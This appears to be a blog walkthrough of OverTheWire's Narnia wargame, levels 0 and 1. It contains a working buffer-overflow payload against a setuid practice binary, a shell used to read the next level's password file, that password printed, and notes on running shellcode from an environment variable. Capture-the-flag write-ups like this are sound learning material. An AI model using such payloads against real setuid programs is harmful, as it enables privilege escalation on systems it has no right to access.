Narnia Wargame 0-1 Process
The Narnia wargame can be found at Overthewire.org. Following are my notes converted into blog form.
Narnia 0
student@ubuntu:~$ ssh -p 2226 narnia0@narnia.labs.overthewire.org
narnia0@narnia:~$ ls /narnia
narnia0@narnia:~$ ls -la /etc/narnia_pass/narnia1
-r-------- 1 narnia1 narnia1 11 Nov 9 15:08 /etc/narnia_pass/narnia1
narnia0@narnia:~$ ls -la /narnia
total 116
drwxr-xr-x 2 root root 4096 Nov 9 15:08 .
drwxr-xr-x 25 root root 4096 Mar 12 09:58 ..
-r-sr-x--- 1 narnia1 narnia0 7568 Nov 9 15:08 narnia0
[...]
The first character here (“d” or “-“) indicates directory. The next three characters are the permissions of the owner, followed by permissions for the group and permissions for everyone. These are “r”/”w”/”x” for read, write, and execute respectively.
Of note: here, the narnia0 file has the owner permissions’ “x” replaced with “s.” This is the sticky bit. It means that if executed, the file will run with owner permissions rather than user permissions. (Think using sudo.)
narnia0@narnia:~$ cd /narnia
narnia0@narnia:/narnia$ ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: ^C
Now that we’ve tried running the program and seeing where we’re allowed input, let’s take a look at the source code, which Narnia provides:
narnia0@narnia:/narnia$ cat narnia0.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
Another thing to note: I’ve been informed the “setreuid(geteuid(),geteuid());” portion is a bug-fix to the wargame (in response to a respective security patch to the kernel. Previously, if a running process spawned any more processes, they would run with owner permissions. Now (unless coded otherwise, as in this line), they run with user instead of owner permissions.
The vulnerability here is scanf’s read size - it allows writing into buf past buf’s actual size. buf here is above val in memory; this means any values written past buf’s edge will first overwrite val.
Normally, a buffer overflow like this would be a mistake that allows functionally unlimited overflowing; since this is a deliberately-constructed CTF, it allows only enough “extra” writing to change the target value. (“%24s”)
Knowing this, input can be geared to overflow buf and write 0xdeadbeef into val. Of course, this must be written as hex values, not ASCII characters - since there are no ASCII equivalents for some of these values, this can be done by piping a single python command.
narnia0@narnia:/narnia$ python -c "print '00000000000000000000\xef\xbe\xad\xde'" | ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: 00000000000000000000ᆳ�
val: 0xdeadbeef
“print ‘0’*20 + ‘\xef\xbe\xad\xde’” would have been a better way of putting this, but with low values it’s basically the same thing. Note that linux is little endian so 0xdeadbeef must be reversed!
This by itself doesn’t actually get us anything, though - we successfully exploited the program, as we didn’t get a “WAY OFF!!!!” message, but we have no way of sending commands to the shell! To do that we must chain commands on our end:
narnia0@narnia:/narnia$ (python -c "print '00000000000000000000\xef\xbe\xad\xde'";cat) | ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: 00000000000000000000ᆳ�
val: 0xdeadbeef
whoami
narnia1
cat /etc/narnia_pass/narnia1
efeidiedae
^C
narnia0@narnia:/narnia$ logout
Connection to narnia.labs.overthewire.org closed.
student@ubuntu:~$
And there’s our flag!
Narnia 1
Moving on to the next challenge now that we have our password flag (sshing as narnia1, etc)…
narnia1@narnia:/narnia$ cat narnia1.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
In this challenge we’ll be using environment variables and function pointers. In short, ret is a pointer that will point to code at environment variable EGG; it can then be called and executed as if it were calling a function written in C.
To set an environment variable (and check that it has been set!) the following shell commands should be used:
narnia1@narnia:/narnia$ export EGG=`python -c "print 'system("/bin/sh");'"`
narnia1@narnia:/narnia$ env | grep EGG
Of course, the above won’t actually work - this print statement isn’t actual compiled code, it’s ASCII. To properly exploit the second challenge, one needs to insert shellcode, including the setreuid from earlier.
Shellcode can be obtained for various systems from sites like Shell-storm. Most shellcodes will try to execute a shell as root, but in our case this isn’t necessary - if we check the password file, we’re just trying to get narnia2 permissions, user and group 14002. So shellcode will need to be modified to setreuid to (14002, 14002) instead of (0,0).